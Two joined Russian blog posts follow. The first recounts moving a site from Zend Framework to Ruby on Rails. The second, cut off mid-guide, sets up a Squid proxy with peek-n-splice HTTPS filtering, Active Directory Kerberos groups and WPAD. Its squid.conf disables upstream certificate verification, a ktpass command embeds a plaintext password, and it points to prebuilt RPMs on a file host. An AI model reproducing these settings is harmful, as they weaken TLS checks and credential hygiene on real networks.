Проработав в качестве главного разработчика [www.starlook.ru](http://www.starlook.ru) около двух лет, я дошел до такой точки, когда понимаешь что пора двигаться дальше. Архитектура приложения устоялась, масштабирование заложено, код в целом устраивал и вообще весь процесс разработки был четок и отлажен. По сути мы продолжали наращивать функционалность и поддерживать уже написанное. В это время для интереса я начал присматриваться к django и rails. Несмотря на то что питон как язык мне понравился, но вот django не впечатлил. А с рельсами и руби ситуация была совершенно другая. Это можно назвать любовью с первого взгляда. И буквально через месяц изучения в Мой Круг пришло письмо с предложением вакансии ruby разработчика, хотя это была случайность, т.к. отправляющий почему-то подумал что я знаю ruby. В общем я решил что это судьба, и пройдя кучу собеседований меня все таки взяли ~~рубить~~ на новое место.
#### Зачем?
После знакомства с рельсами было очень тяжело продолжать писать проект на ZF, слишком многое приходилось делать руками и практически на каждую задачу (теги, деревья, деплой, миграции и т.д.) писать собственные решения. Учитывая что свободного времени на проект не так много, то было решено его переписать, убив сразу двух зайцев. Во-первых упростить себе развитие и поддержку, а во-вторых подтянуть знания по соответствующим технологиям.
#### Настройка окружения
[rvm.beginrescueend.com](http://rvm.beginrescueend.com) — установка нескольких версий руби и поддержка гемсетов.
[ru.wikipedia.org/wiki/RubyGems](http://ru.wikipedia.org/wiki/RubyGems) — гемы
```
sudo apt-get install rubygems
gem install rails
rails s
```
Этих команд достаточно для того чтобы установить рельсы, поднять сервер и начать разработку. И никаких плясок с бутстрапом.
#### Процесс
С переходом на рельсы изменились и многие привычки при разработке.
Рельсы ведут подробный лог о том что происходит в приложении во время работы. Поэтому в терминале всегда висит окно с tail -f log/development.log (http://habrastorage.org/storage/29abc841/af70206c/2794fbe5/5d1f434f.png). В этот лог выводятся запросы к базе, поиску, кешу, письма, параметры запроса и т.п.
```
rails c
```
Выполнив эту команду мы попадаем в irb с загруженным окружением рельс. Прямо в консоли мы можем выполнять любой код нашего приложения. Незаменимая вещь при отладке.
Заодно я пересел с netbeans на vim.
#### Маршрутизация и REST
[habrahabr.ru/blogs/webdev/38730](http://habrahabr.ru/blogs/webdev/38730/)
[guides.rubyonrails.org/routing.html](http://guides.rubyonrails.org/routing.html)
Маршрутизация в рельсах если не идеальна, то по крайней мере очень близка к этому. Следуя принципам REST можно невероятно сократить объемы кода и получить красивые и логичные урлы.
Было: [pastebin.com/x0bA3siH](http://pastebin.com/x0bA3siH)
Стало:
```
namespace :admin do
resources :brands do
resources :systems
end
end
```
Выполнив в консоли rake routes увидим: [pastebin.com/mPSvzkAJ](http://pastebin.com/mPSvzkAJ)
На самом деле рельсы делают больше чем просто создают маршруты из пары строк кода. Для каждого роута создается несколько методов:
```
admin_brand_systems_path(@brand) # путь без указания хоста
admin_brand_systems_url(@brand) # полный путь включая хост
```
Это очень малая часть из того что может роутинг. И это вам не Zend\_Controller\_Router\_Route\_Hostname.
Поскольку сайт работает уже давно, то мне потребовалось сделать перенаправление со старых урлов на новые. Для таких задач в rails3 добавлены маршруты редиректы, которые выглядят так:
```
# Хорошая идея для реализации в ZF
match "/company/:id" => redirect("/companies/%{id}")
```
В ZF присутствуют Zend\_Rest\_Controller и Zend\_Rest\_Route, но их функционал не идет ни в какое сравнение с рельсовыми, а интерфейс роута делали специально так чтобы невозможно были ничего понять:
```
$restRoute = new Zend_Rest_Route($front, array(), array(
'api',
'backlog' => array('task'),
));
$router->addRoute('rest', $restRoute);
```
Когда мы пытались внедрить это в старлуке, то потратили немало времени на то чтобы заставить его заработать и на этом с переводом решили завязать.
#### Контроллеры
[guides.rubyonrails.org/action\_controller\_overview.html](http://guides.rubyonrails.org/action_controller_overview.html)
Было: [pastebin.com/TYhYAWEQ](http://pastebin.com/TYhYAWEQ)
Стало: [pastebin.com/seJzhYMq](http://pastebin.com/seJzhYMq)
В работе самих контроллеров принципиальных отличий не так много. В рельсах отсутствует система хелперов аналогичная ZF, и помощников действий здесь нет, но есть классы хелперы которые используются как вью хелперы.
Тут есть пара моментов которые считаются плохим подходом к разработке (везде кроме рельс) — наследование контроллеров и ApplicationController (базовый класс для всех контроллеров). В документации предлагается общую логику используемую в контроллерах переносить в этот класс. Естественно так делать необязательно.
#### Полнотекстовый поиск (ThinkingSphinx)
Этот пункт заслуживает отдельного упоминания. Попробуйте что либо поискать на [www.okinfo.ru](http://www.okinfo.ru/).
В каждой модели, которая должна быть проиндексирована, определяется специальный блок с приятным [DSL](http://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D0%B4%D0%BC%D0%B5%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F).
```
define_index do
indexes title
indexes body
indexes sub_categories(:title)
has created_at
has taggings(:tag_id), :as => :tag_ids, :facet => true
has companies_sub_categories :sub_category_id
has addresses :city_id
has :calculator_page # :without => {:calculator_page => 0}
has :site
has :reviews_count
end
```
После этого нужно перегенирировать конфиг sphinx, и переиндексировать данные. Это можно выполнить одной командой:
```
rake ts:rebuild
```
Ищем так:
```
Company.search ‘запрос’
```
На выходе получается такой конфигурационный файл sphinx, что становится страшно от мысли ручного генерирования. thinking-sphinx скрывает от нас всю сложность, предоставля удобный интерфейс и кучу возможностей. Во многом благодаря простоте использования этого компонента, я перевел на полнотекстовый поиск вообще все что можно и на сайте и в админке.
#### ActiveRecord
[guides.rubyonrails.org/association\_basics.html](http://guides.rubyonrails.org/association_basics.html)
[guides.rubyonrails.org/active\_record\_querying.html](http://guides.rubyonrails.org/active_record_querying.html)
```
class Company < ActiveRecord::Base
acts_as_taggable
devise :database_authenticatable, :registerable,
:recoverable, :rememberable, :validatable, :trackable
belongs_to :image
has_many :weekly_newsletters, :class_name => 'Notice', :conditions => { :notice_type => 'weekly_newsletter' }
has_many :addresses
has_many :sub_categories, :through => :companies_sub_categories
validates :site,
:uniqueness => true,
:format => { :with => URI::regexp(%w(http https)) },
:allow_blank => true
validates :title, :presence => true, :uniqueness => true
validates :twitter_page, :format => { :with => URI::regexp(%w(http https)) },
:allow_blank => true
scope :by_rating, order('ratings_sum DESC')
scope :with_logo, where('image_id IS NOT NULL').includes(:image)
```
Большинство функциональности завязано именно на этот компонент. В этом есть как и плюсы так и минусы. А так да, удобная orm с кучей возможностей и ни одного самостоятельно написанного запроса.
#### State Machine
[github.com/pluginaweek/state\_machine](https://github.com/pluginaweek/state_machine)
Практически все сущности всегда имеют состояние опубликовано/не опубликовано и т.п. Для этого есть целая куча компонентов упрощающих управление и переходами состояний.
```
# ActiveRecord model
state_machine :state, :initial => :moderate do
state :off, :human_name => 'Отключена'
state :moderate, :human_name => 'На модерации'
state :published, :human_name => 'Опубликована' do
validates :uri, :presence => true
end
event :publish, :human_name => 'Опубликовать' do
transition :off => :published
transition :moderate => :published
end
event :off, :human_name => 'Отключить' do
transition :published => :off
end
end
```
#### Переодически задачи и служебные задачи (Rake, cron)
[ru.wikipedia.org/wiki/Rake](http://ru.wikipedia.org/wiki/Rake)
[Автоматизация проектных задач](http://wiki.agiledev.ru/doku.php?id=automation:build_package_deploy)
К счастью в руби все библиотеки и фреймворки для повторяющихся задач используют rake. Вот, например, что можно сделать в моем проекте с помощью рейка [pastebin.com/MavWT7JA](http://pastebin.com/MavWT7JA). Согласитесь, впечатляет. Задачи в rake пишутся на ruby. В php есть порт — [pake](https://github.com/indeyets/pake/wiki).
```
# Еженедельная рассылка писем по компаниям
namespace :app do
namespace :notice do
desc 'Weekly newsletter'
task :weekly_for_company => :environment do
Company.state.find_each do |company| # find_each использует batch
last_notice = company.weekly_newsletters.last
next if last_notice && (Time.now - last_notice.created_at < 1.week)
notice = company.weekly_newsletters.create
notice.save
CompanyMailer.weekly_newsletter(company).deliver
sleep(1)
end
end
end
end
```
Запуск:
```
rake app:notice:weekly_for_company
```
Когда проект был на php, то использовались всякого рода самописные скрипты и то только для задач крона. Все остальное делалось руками.
#### Deploy (capistrano)
[github.com/capistrano/capistrano/wiki](https://github.com/capistrano/capistrano/wiki)
[habrahabr.ru/blogs/webdev/110021](http://habrahabr.ru/blogs/webdev/110021/)
Раньше это была целая проблема и ритуал. Сейчас же все сводится к одной строчке (хотя команд конечно же [больше](http://pastebin.com/LYXbuftG)):
```
cap deploy:migrations
```
Он тебе и зависимости установит, миграции накатит, индекс перегенирирует, закроет сайт, откроет, откатится если вдруг что пойдет не так. Возможностей уйма и все настраиваемо.
#### Используемые сторонние компоненты (Bundler)
[gembundler.com](http://gembundler.com/)
Для руби существует такая замечательная вещь как [bundler](http://habrahabr.ru/blogs/ruby/85201/). Этот компонент управляет зависимостями. Умеет их устанавливать, обновлять, замораживать (для продакшена) и много чего другого. Управляется через консоль. Прописанные гемы для приложения выглядят так: [pastebin.com/50pe40Sb](http://pastebin.com/50pe40Sb).
Деревья — Ancestry (use Materialized path)
Хлебные крошки — breadcrumbs\_on\_rails
Геолокация — graticule
Теги — acts-as-taggable-on
Картинки — paperclip
Внешние ключи — foreigner
Тестирование — rspec, factory\_girl\_rails, rcov
Деплой — capistrano, capistrano-ext, capistrano\_colors
#### Авторизация (Devise)
[github.com/plataformatec/devise](https://github.com/plataformatec/devise)
Возможности: Omniauthable, Confirmable, Recoverable, Registerable, Rememberable, Trackable, Timeoutable, Validatable, Lockable, Encryptable, Database Authenticatable, Token Authenticatable.
Компонент вообще фантастический. Две команды в консоли и куча работающего функционала из коробки. Руками все тоже самое написать займет уйму времени и все равно так здорово не получится.
#### Формы (Simple\_Form)
[github.com/plataformatec/simple\_form](https://github.com/plataformatec/simple_form)
Принципиальное отличие от ZF, Django, в том что форма создается в шаблоне. И как показала практика в рельсах это сделано настолько удобно что без затруднения создаются формы невероятной сложности. Этого нельзя сказать о Zend\_Form (вообще о zend\_form можно много нехорошего сказать).
```
<%= simple_form_for(resource, :url => company_registration_path) do |f| %>
<%= f.input :email %>
<%= f.input :password %>
<%= f.input :password_confirmation %>
<%= f.association :forma, :label_method => :title %>
<%= f.input :title %>
<%= f.association :sub_categories, :label_method => :title %>
<%= f.simple_fields_for :address do |address| %>
<%= address.association :city, :as => :select, :collection => cities(@company.address),
:input_html => { :id => "city_id" } %>
<%= address.input :street %>
<%= address.input :house, :required => false %>
<% end %>
<%= f.submit 'Зарегистрироваться' %>
<% end %>
```
В примере видно что форма может работать с ассоциациями.
#### Тесты (Rspec, FactoryGirl, Rcov)
[habrahabr.ru/blogs/testing/52929](http://habrahabr.ru/blogs/testing/52929/)
[github.com/thoughtbot/factory\_girl](https://github.com/thoughtbot/factory_girl)
Было: [pastebin.com/3tEctqmT](http://pastebin.com/3tEctqmT)
Стало: [pastebin.com/VmawXxbc](http://pastebin.com/VmawXxbc)
На прошлой работе я изобретал FactoryGirl самостоятельно, в рельсах, к счастью, не пришлось. Так же не пришлось заниматься интеграцией с приложением (тесты работают из коробки без всяких шаманств с бутстрапом). И было приятно открыть для себя что то отличное от обычных assert’ов.
Правда есть один минус по сравнению с php. Невозможно увидеть покрытие тестами вьюх, что при тестировании контроллеров очень важно.
#### Работа с почтой
[guides.rubyonrails.org/action\_mailer\_basics.html](http://guides.rubyonrails.org/action_mailer_basics.html)
[rusrails.ru/action-mailer-basics](http://rusrails.ru/action-mailer-basics)
Этот компонент в rails получился очень удачным. Отправка писем происходит из сервисов генерируемых командой rails g mailer MailerName. Работает он так же как и контроллер. На каждый метод создается шаблон с телом письма. Отправка происходит так: CompanyMailer.after\_registration(@company).deliver
Еще один момент по поводу рельс. Rails environment это не просто слова, как это сделано в ZF, а действительно другое поведение компонентов: кеширование, логирование, отправка почты и многое другое работает по разному в зависимости от текущего env. Так вот письма в dev режиме (а это режим по дефолту) отправляются в лог о котором я писал выше.
И тест (кстати сгенерированный автоматически):
```
describe ColumnistMailer do
describe "after_registration" do
let(:mail) { ColumnistMailer.after_registration }
it "renders the headers" do
mail.subject.should eq("After registration")
mail.to.should eq(["to@example.org"])
mail.from.should eq(["from@example.com"])
end
it "renders the body" do
mail.body.encoded.should match("Hi")
end
end
end
```
#### Вспомогательные сервисы
[github.com](http://github.com) (платный аккаунт) — для кода.
[newrelic.com](http://newrelic.com) — профилирование.
[hoptoadapp.com/pages/home](https://hoptoadapp.com/pages/home) — для нотификаций об ошибках. Этот сервис здорово облегчает жизнь и работет с кучей языков, в том числе php. Он агрегирует все возникающие в продакшене ошибки и высылает оповещения (например на почту), при этом на одну ошибку — одно письмо, даже если ошибка повторилась много раз, что всегда и происходит. Может на основе них делать тикеты, интегрируется с гитхабом и другими сервисами. Починив ошибку ее можно зарезолвить, так же все ошибки резолвятся после деплоя, для того чтобы заработала отсылка оповещений при повторном возникновении. Умеет показывать похожие ошибки. Сервис платный, но недорогой и по моему мнению является must have. А еще он умеет все тоже самое с js.
Кстати существует бесплатный аналог [github.com/jdpace/errbit](https://github.com/jdpace/errbit) (Errbit is an open source, self-hosted error catcher. It is Hoptoad API compliant so you can just point the Hoptoad notifier at your Errbit server if you are already using Hoptoad).
И нашел вот такой клиент для php [github.com/rich/php-hoptoad-notifier](https://github.com/rich/php-hoptoad-notifier)
#### Заключение
Не скажу что сразу вот так все было легко просто и понятно. Мне во многом помогла моя текущая работа с рельсами. Некоторые части сайта я даже на рельсах успел переписать, но сейчас я уже доволен результатом.
Сила рельс не только в возможностях самого фреймворка, но и в мощной инфраструктуре, которая выстроена вокруг него. Это практически устраняет рутину и скорость разработки вырастает в разы, а поддержка проекта даже приносит удовольствие. | https://habr.com/ru/post/112966/ | null | ru | null |
# Squid с фильтрацией HTTPS без подмены сертификата, интеграция с Active Directory 2012R2 + WPAD
Этот мануал был написан в связи производственной необходимостью мониторить трафик (http и https) пользователей, а также распределения доступа по белым и черным спискам. За основу были взяты статьи: [эта](http://habrahabr.ru/post/272733) и [вот эта](http://habrahabr.ru/post/267851) , в которых использовалась технология **peek-n-splice**. В данных статьях конфигурация предполагает использование хоста со squid как шлюз, после доработки конфига, получился полноценный прокси-сервер с возможностью распределения прав доступа по группам из Active Directory. По завершению конфигурирования встал вопрос передачи настроек прокси-сервера для пользователей. В виду того, что в офисе часто ноутбуки берут домой — вся затея зашла в тупик. Изначально рассматривался вариант выдачи настроек прокси-сервера через DHCP, но он не самый лучший, т. к. офисы в разных подсетях, и разное оборудование, выходом из данной ситуации стал WPAD. Вкратце о данной технологии можно сказать так, клиентские машины на OS Windows ищут хост с именем wpad.example.ru (вплоть до доменов третьего уровня), чтобы запросить файл настроек для работы в сети. Исходя из такого принципа, нужно поднять веб-сервер, который просто бы отдавал файл wpad.dat Можно на самом хосте с прокси-сервером поднять веб-сервер (что и было сделано), а в DNS-сервере создать *cname* **wpad** на прокси-сервер. Прокси-сервер лучше использовать с возможностью сбора и просмотра статистики, благо выбор предостаточный. В виду некоторых консервативных соображений, было решено выбрать SARG. Он легкий в настройке, достаточно приемлемая статистика для офиса со штатом до 100 сотрудников.
**Содержание*** [1 Введение](#point1)
+ [1.1 Упрощенная схема работы WPAD](#sub_point1)
+ [1.2 Плюсы и минусы работы WPAD](#sub_point2)
+ [1.3 Squid Peek-n-splice — how to it works](#sub_point3)
+ [1.4 Плюсы и минусы Peek-n-splice](#sub_point4)
+ [1.5 Необходимое для решения задачи](#sub_point5)
* [2 Конфигурирование операционной системы и установка Squid](#point2)
+ [2.1 Параметры сборки Squid](#sub_point1)
+ [2.2 Установка пакетов из официальных репозиториев](#sub_point2)
+ [2.3 Ручная установка Squid и дополнительных пакетов](#sub_point3)
+ [2.4 Установка прав доступа на swap-каталог для squid](#sub_point4)
+ [2.5 Конфигурационный файл squid](#sub_point5)
+ [2.6 Настройка файла /etc/hosts](#sub_point6)
+ [2.7 Настраиваем selinux](#sub_point7)
+ [2.8 Генерация swap](#sub_point8)
+ [2.9 Включение демона squid, проверка конфигурационного файла](#sub_point9)
+ [2.10 Форвардинг трафика](#sub_point10)
* [3 Интеграция с контроллером домена Active Directory 2012R2](#point3)
+ [3.1 Конфигурация kerberos](#sub_point1)
+ [3.2 Создание DNS-записи](#sub_point2)
+ [3.3 Варианты интеграции с доменом](#sub_point3)
+ [3.3.1 Интеграция средствами Windows](#sub_point3.3.1)
+ [3.3.2 Интеграция средствами Linux](#sub_point3.3.2)
+ [3.4 Рекомендуемые права на файл krb5.keytab](#sub_point4)
+ [3.5 Группы в Active Directory для регулировки доступа в Интернет](#sub_point5)
+ [3.6 Проверка авторизации в Active Directory при помощи файла krb5.keytab](#sub_point6)
* [4 WPAD](#point4)
+ [4.1 Установка и конфигурирование web-сервера apache2](#sub_point1)
+ [4.2 Файл wpad.dat](#sub_point2)
+ [4.3 CNAME в DNS](#sub_point3)
* [5 Статистика трафика](#point5)
+ [5.1 Установка SARG из исходников](#sub_point1)
+ [5.2 Конфигурирование SARG](#sub_point2)
+ [5.3 Расписание генерации отчетов посещаемости](#sub_point3)
+ [5.4 Конфигурация web-сервера](#sub_point4)
+ [5.5 Авторизация на сайте со статистикой](#sub_point5)
* [6 Групповые политики](#point6)
+ [6.1 Редактирование GPO](#sub_point1)
### 1.1 Упрощенная схема работы WPAD
— Клиент на ОС Windows обращается к DNS-серверу с запросом на хост **wpad.example.ru**, и DNS-сервер имя соответствующую запись указывает куда обратиться. Далее, клиент обращается к wpad.example.ru с запросом на файл настроек. Получив его, начинает действовать соответственно инструкций в нём.
### 1.2 Чем хороша данная технология
Плюсы:
— нет необходимости через GPO прописывать всем клиентам адрес-прокси
— Мобильность сотрудников (доступ к интернету вне офиса)
— Чтобы отключить использование данной технологии, достаточно отключить в «Свойствах браузера» — «Автоматическое получение настроек»
Минусы:
— «Автоматическое получение настроек» можно отключить любому пользователю, поэтому данную функцию лучше оставить включенной и запретить ее изменение через GPO
### 1.3 Squid Peek-n-splice — how to it works
Сотрудник пытается зайти на сайт с https через прокси. При установке зашифрованного соединие происходит «приветствие», которое передается в открытом виде, прокси-сервер его перехватывает, и исходя из конфигурации, squid разрешает или запрещает соединение. Т.е. перехватили на посмотреть «приветствие», разрешили или дропнули соединение.
### 1.4 Плюсы и минусы Peek-n-splice
Плюсы:
— Это не MITM-атака, и не будет проблем с банк-клиентами
— Отображение доменных имен в статитстике сайтов запрашиваемых по https
Минусы:
— К сожалению, нельзя полностью просмотреть какая именно интернет-страница была открыта как при MITM-атаке
— Данная конфигурация хорошо себя показала только на CentOS (на Debian были проблемы, через некоторое время случался kernel-panic)
### 1.5 И так, теперь стоит отметить что дано
— Хост с Active Directory 2012R2 (метод авторизация пользователей — Kerberos)10.0.0.9
— Хост с CentOS 7 (x64) (он же веб-сервер для отдачи wpad.dat, он же прокси-сервер) 10.0.0.10
— Тестовый хост с ОС Windows для проверки работы 10.0.0.11
> «Поехали» Гагарин Ю.А.
### 2 Конфигурирование операционной системы и установка Squid
Процесс установки CentOS описывать нет смысла. Так что будем иметь в виду, что у нас свежеустановленный CentOS 7 x64. Итак, чтобы Squid работал одинаково хорошо с http и https трафиком, необходимо следующее:
### 2.1 Squid должен быть собран с такими параметрами
**squid -v**$ squid -v
Squid Cache: Version 3.5.16
Service Name: squid
configure options: '--build=x86\_64-redhat-linux-gnu' '--host=x86\_64-redhat-linux-gnu' '--program-prefix=' '--prefix=/usr' '--exec-prefix=/usr' '--bindir=/usr/bin' '--sbindir=/usr/sbin' '--sysconfdir=/etc' '--datadir=/usr/share' '--includedir=/usr/include' '--libdir=/usr/lib64' '--libexecdir=/usr/libexec' '--sharedstatedir=/var/lib' '--mandir=/usr/share/man' '--infodir=/usr/share/info' '--verbose' '--exec\_prefix=/usr' '--libexecdir=/usr/lib64/squid' '--localstatedir=/var' '--datadir=/usr/share/squid' '--sysconfdir=/etc/squid' '--with-logdir=$(localstatedir)/log/squid' '--with-pidfile=$(localstatedir)/run/squid.pid' '--disable-dependency-tracking' '--enable-follow-x-forwarded-for' '--enable-auth' '--enable-auth-basic=DB,LDAP,NCSA,NIS,PAM,POP3,RADIUS,SASL,SMB,getpwnam,fake' '--enable-auth-ntlm=smb\_lm,fake' '--enable-auth-digest=file,LDAP,eDirectory' '--enable-auth-negotiate=kerberos,wrapper' '--enable-external-acl-helpers=wbinfo\_group,kerberos\_ldap\_group,LDAP\_group,delayer,file\_userip,SQL\_session,unix\_group,session,time\_quota' '--enable-cache-digests' '--enable-cachemgr-hostname=localhost' '--enable-delay-pools' '--enable-epoll' '--enable-icap-client' '--enable-ident-lookups' '--enable-linux-netfilter' '--enable-removal-policies=heap,lru' '--enable-snmp' '--enable-storeio=aufs,diskd,ufs,rock' '--enable-wccpv2' '--enable-esi' '--enable-ssl-crtd' '--enable-icmp' '--with-aio' '--with-default-user=squid' '--with-filedescriptors=16384' '--with-dl' '--with-openssl' '--with-pthreads' '--with-included-ltdl' '--disable-arch-native' '--enable-ecap' '--without-nettle' 'build\_alias=x86\_64-redhat-linux-gnu' 'host\_alias=x86\_64-redhat-linux-gnu' 'CFLAGS=-O2 -g -pipe -Wall -Wp,-D\_FORTIFY\_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic' 'LDFLAGS=-Wl,-z,relro ' 'CXXFLAGS=-O2 -g -pipe -Wall -Wp,-D\_FORTIFY\_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -fPIC' 'PKG\_CONFIG\_PATH=:/usr/lib64/pkgconfig:/usr/share/pkgconfig' —enable-ltdl-convenience
Либо же можно скачать **[архив](https://yadi.sk/d/JUw6VJ55z3N29)** с собранным squid и его зависимостями.
### 2.2 Установка необходимых пакетов из официальных репозиториев
Стоит отметить, что для установки кальмара нужны некоторые зависимости. К сожалению, у CentOS довольно скудные официальные репозитории, поэтому некоторые пакеты надо качать с неофициальных. Установка необходимых пакетов из оф.репозиториев:
```
# yum install -y libtool-ltdl perl-DBI perl-Digest-MD5 cyrus-sasl-gssapi krb5-workstation
```
### 2.3 Ручная установка Squid и дополнительных пакетов
```
# rmp -Uvh squid-3.5.8-4.el7.centos.x86_64.rpm libecap-1.0.0-3.el7.centos.x86_64.rpm squid-helpers-3.5.8-4.el7.centos.x86_64.rpm perl-Crypt-OpenSSL-X509-1.803-4.el7.x86_64.rpm
```
Если что-то не так, в терминале отобразится чего не хватает.
### 2.4 Установка прав доступа для каталога swap
```
# chown squid:squid /var/spool/squid
```
### 2.5 конфигурационный файл /etc/squid/squid.conf
**squid.conf**### negotiate kerberos
auth\_param negotiate program /usr/lib64/squid/negotiate\_kerberos\_auth -s HTTP/sq.example.ru@EXAMPLE.RU
auth\_param negotiate children 60
auth\_param negotiate keep\_alive off
external\_acl\_type inet\_medium ttl=300 negative\_ttl=60 %LOGIN /usr/lib64/squid/ext\_kerberos\_ldap\_group\_acl -g Internet-medium@EXAMPLE.RU
external\_acl\_type inet\_full ttl=300 negative\_ttl=60 %LOGIN /usr/lib64/squid/ext\_kerberos\_ldap\_group\_acl -g Internet-full@EXAMPLE.RU
external\_acl\_type inet\_low ttl=300 negative\_ttl=60 %LOGIN /usr/lib64/squid/ext\_kerberos\_ldap\_group\_acl -g Internet-low@EXAMPLE.RU
acl localnet src 10.0.0.0/24
acl localnet src 192.168.0.0/24
acl my\_full external inet\_full
acl my\_medium external inet\_medium
acl my\_low external inet\_low
acl auth proxy\_auth REQUIRED
# помимо дефолтного 443, для себра бизнес онлайн нуже доп. порт 9443
acl SSL\_ports port 443 9443
acl Safe\_ports port 80 # http
acl Safe\_ports port 21 # ftp
acl Safe\_ports port 443 # https
acl Safe\_ports port 70 # gopher
acl Safe\_ports port 210 # wais
acl Safe\_ports port 1025-65535 # unregistered ports
acl Safe\_ports port 280 # http-mgmt
acl Safe\_ports port 488 # gss-http
acl Safe\_ports port 591 # filemaker
acl Safe\_ports port 777 # multiling http
acl CONNECT method CONNECT
#В данной конфигурации whitelist — это список разрешенных сайтов для группы пользователей Internet-low@EXAMPLE.RU (доступ только на те сайты, которые в whitelist.txt)
#А blocked\_http.txt — список запрещенных сайтов для группы Internet-medium@EXAMPLE.RU (на все сайты можно заходить, кроме тех, которые в blocked\_http.txt)
acl white\_list dstdomain "/etc/squid/whitelist.txt"
acl black\_list dstdomain "/etc/squid/blocked\_http.txt"
dns\_nameservers 10.0.0.9
# access rule
http\_access deny !Safe\_ports
http\_access deny CONNECT !SSL\_ports
http\_access allow localhost manager
http\_access deny manager
http\_access deny !auth
http\_access deny my\_medium black\_list
http\_access allow my\_medium
http\_access allow my\_low white\_list
http\_access deny my\_low all
http\_access allow my\_full
# Разрешаем локалхост
http\_access allow localhost
# Запрещаем все остальное
http\_access deny all
#Непрозрачный порт, через который происходит взаимодействие клиентских хостов с прокси-сервером
http\_port 10.0.0.10:3130 options=NO\_SSLv3:NO\_SSLv2
always\_direct allow all
sslproxy\_cert\_error allow all
sslproxy\_flags DONT\_VERIFY\_PEER
#Данная опция нужна для корректной работы peek-n-splice. Сам файл blocked\_https.txt ни на что не влияет, но и он не должен быть пустым. Магия.
#
acl blocked ssl::server\_name "/etc/squid/blocked\_https.txt"
acl step1 at\_step SslBump1
ssl\_bump peek step1
#терминируем соединение, если клиент заходит на запрещенный ресурс
ssl\_bump terminate blocked
ssl\_bump splice all
coredump\_dir /var/spool/squid
refresh\_pattern ^ftp: 1440 20% 10080
refresh\_pattern ^gopher: 1440 0% 1440
refresh\_pattern -i (/cgi-bin/|\?) 0 0% 0
refresh\_pattern. 0 20% 4320
cache\_dir aufs /var/spool/squid 20000 49 256
maximum\_object\_size 61440 KB
minimum\_object\_size 3 KB
#httpd\_suppress\_version\_string on
#visible\_hostname PROXYSERVER
cache\_swap\_low 90
cache\_swap\_high 95
maximum\_object\_size\_in\_memory 512 KB
memory\_replacement\_policy lru
logfile\_rotate 4
### 2.6 Предварительно необходимо привести файл **/etc/hosts** к такому содержанию
```
127.0.0.1 localohost
10.0.0.10 sq.example.ru sq
```
### 2.7 Настраиваем selinux
В файле **/etc/selinux/config** должно быть значение:
```
SELINUX=enforcing
```
Устанавливаем пакет для работы с selinux:
```
# yum install policycoreutils-python
```
Добавляем правила selinux
Разрешаем подключения к кальмару:
```
# setsebool -P squid_connect_any on
```
Разрешаем kerberos:
```
# setsebool -P allow_kerberos on
```
Разрешаем подключения к кальмару на 3130 порту:
```
# semanage port -a -t squid_port_t -p tcp 3130
```
После изменения параметров selinux, необходимо перезагрузить систему для их применения.
```
# reboot
```
### 2.8 генерация swap
```
# squid -z
```
### 2.9 Включение демона squid, проверка конфигурационного файла
```
# systemctl enable squid
# squid -k parse
```
Варнингов и эрроров не должно быть. Если же что-то есть — необходимо проверить настройки.
### 2.10 Разрешаем форвардинг трафика
```
# echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
```
Применяем настройку налету:
```
# sysctl -p
```
### 3 Интеграция с контроллером домена Active Directory 2012R2
Интеграция с контроллером домена необходима для того, чтобы пользователи домена могли авторизовываться на прокси-сервере по протоколу Kerberos. Самое разумное решение — оставить только Kerberos ввиду того, что данный метод самый безопасный, авторизация происходит автоматически. Что же касается клиентских машинах которые вне домена, то и здесь нет проблем, логин и пароль можно ввести вручную во всплывающем окне авторизации. Проверено, работает.
### 3.1 Конфигурационный файл /etc/krb5.conf
Конфигурационный файл **/etc/krb5.conf** необходимо привести к следующему виду:
**krb5.conf**[libdefaults]
default\_realm = EXAMPLE.RU
ticket\_lifetime = 24h
default\_keytab\_name = /etc/krb5.keytab
[realms]
EXAMPLE.RU = {
kdc = dc1.example.ru
admin\_server = dc1.example.ru
default\_domain = example.ru
}
[domain\_realm]
.example.ru = EXAMPLE.RU
example.ru = EXAMPLE.RU
### 3.2 Создание DNS-записи
Всем отлично известно, что Active Directory тесно завязан с DNS, и для корректной работы авторизации, необходимо создать узел (A или ААА) c указание имени хоста и его ip-адреса (Получается запись **sq.example.ru** c ip-адресом **10.0.0.10**).
### 3.3 Варианты интеграции с доменом
И так, ~~есть два стула~~ варианта интеграции с доменом. Первый вариант — средствами Windows (**ktpass**), второй вариант — средствами Linux (**Msktutil**). Windows вариант хорош тем, что можно отключить срок действия пароля для пользователя **squid**. Версия Linux хороша тем, что можно вводить в домен через создание учетной записи компьютера.
### 3.3.1 Интеграция средствами Windows
Создаем пользователя в AD, например **squid**
Теперь генерируем **krb5.keytab**. В командной строке на контроллере домена с правами администратора необходимо выполнить данную команду:
```
C:\Windows\system32> ktpass -princ HTTP/sq.example.ru@EXAMPLE.RU -mapuser squid@EXAMPLE.RU -crypto rc4-hmac-nt -pass Pa$$wd12 -ptype KRB5_NT_PRINCIPAL -out C:\
```
Сам файлик **krb5.keytab** переместить (Можно при помощи WinSCP) на **sq.example.ru** в каталог **/etc**.
### 3.3.2 Интеграция средствами Linux
В архиве со сквидом и зависимостями также приложен msktutil, устанавливаем его:
```
# rpm -Uhv msktutil-0.5.1-2.el7.x86_64.rpm
```
Теперь выполняем следующую команду:
```
# msktutil -c -b "CN=COMPUTERS" -s HTTP/sq.example.ru -k /etc/krb5.keytab --computer-name sq-k --upn HTTP/sq.example.ru --server dc1.example.ru --verbose --enctypes 28
```
В случае успеха, вывод команды будет большим, копировать сюда не вижу смысла. Ошибок и варнингов быть не должно. Стоит обратить внимание на **--computer-name sq-k** это не опечатка. Имя хоста должно отличаться.
В виду необходимости обновлять пароль для учетной записи компьютера, делать это можно через cron.
```
# crontab -e
```
В него необходимо добавить задание:
```
00 3 * * * msktutil --auto-update --verbose --computer-name sq-k
```
### 3.4 Рекомендуемые права на файл krb5.keytab
